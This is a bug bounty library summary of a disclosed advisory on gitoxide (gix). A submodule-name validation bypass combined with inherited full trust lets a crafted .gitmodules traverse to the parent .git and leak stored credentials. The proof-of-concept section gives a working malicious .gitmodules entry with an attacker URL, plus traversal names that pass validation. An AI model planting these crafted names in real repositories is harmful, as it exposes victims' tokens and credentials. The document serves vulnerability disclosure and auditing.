# gix's submodule name validation bypass + trust inheritance flaw enables path traversal and credential disclosure

gix submodule name validation only checks the first '..', so a crafted .gitmodules traverses to the parent .git and opens it with inherited full trust, leaking config credentials.

- Payout: Research
- Severity: high
- Program: gitoxide
- Found by: kodareef5
- Disclosed: 2026-05-05
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-p3hw-mv63-rf9w
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-p3hw-mv63-rf9w
- Tags: area:oss domain:oss impact:data-leak kind:research platform:ghsa sev:high tech:rust technique:chained technique:source-review vuln:info-disclosure vuln:path-traversal vuln:secrets-leak

**Target:** Rust git library (gix) submodule handling via .gitmodules
**Root cause:** gix_validate::submodule::name() uses find(b"..") which only inspects the first occurrence, and is never called in production; git_dir() joins raw names into paths. Submodule::open() clones parent options including git_dir_trust=Some(Full), skipping ownership checks.
**Steps:**
1. Craft repo with `.gitmodules` containing `[submodule "x..y/../../.."]` with `path = innocent` and an attacker url.
2. Victim clones repo with a gitoxide-based tool.
3. Tool iterates submodules and calls `submodule.open()` or `submodule.status()`.
4. `git_dir()` returns `.git/modules/x..y/../../..` normalizing to parent `.git/`.
5. `open_opts()` inherits `Trust::Full`, skipping ownership check, and parses parent `.git/config`.
6. Read values via `repo.config_snapshot().string("http.extraHeader")` or `repo.find_remote("origin")`.
**How found:** Code review: noticed name() uses single find(b"..") and returns Ok after checking only the first occurrence; then found the validator has no production callers and git_dir() joins raw names; finally traced open() cloning parent options to spot git_dir_trust already Some(Full) skipping from_path_ownership.
**Exploitation:** Attacker publishes a repo whose .gitmodules submodule name embeds `..` after a benign `a..b`/`x..y` prefix. On clone, any tool calling open()/status() on submodules resolves git_dir() outside .git/modules into the parent .git, which is opened with inherited Trust::Full, exposing remote URLs with embedded tokens, http.extraHeader bearer tokens, credential.* sections and core.sshCommand.
**Escalation:** Trust inheritance bypass (parent Trust::Full cloned into submodule open) removes the ownership check that would otherwise block traversal, turning a path traversal into credential disclosure.
**Insight:** When auditing path validators, check whether they scan all occurrences or short-circuit on the first match, and verify the validator is actually invoked on the production path — a correct-but-uncalled check plus a trust flag inherited from a trusted parent is a common traversal amplifier.

## Proof of concept (copied exactly from the original report)

**Crafted .gitmodules with traversal submodule name**

```
[submodule "x..y/../../.."]
       path = innocent
       url = https://attacker.com/repo.git
```

**Bypass cases confirmed in release mode**

```
BYPASS a..b/../../../.git/           -> PASSED validation
       git_dir = .git/modules/a..b/../../../.git/
       normalized = .git/              (parent repo!)

BYPASS x..y/../../../.git/config     -> PASSED validation
       git_dir = .git/modules/x..y/../../../.git/config
       normalized = .git/config
```

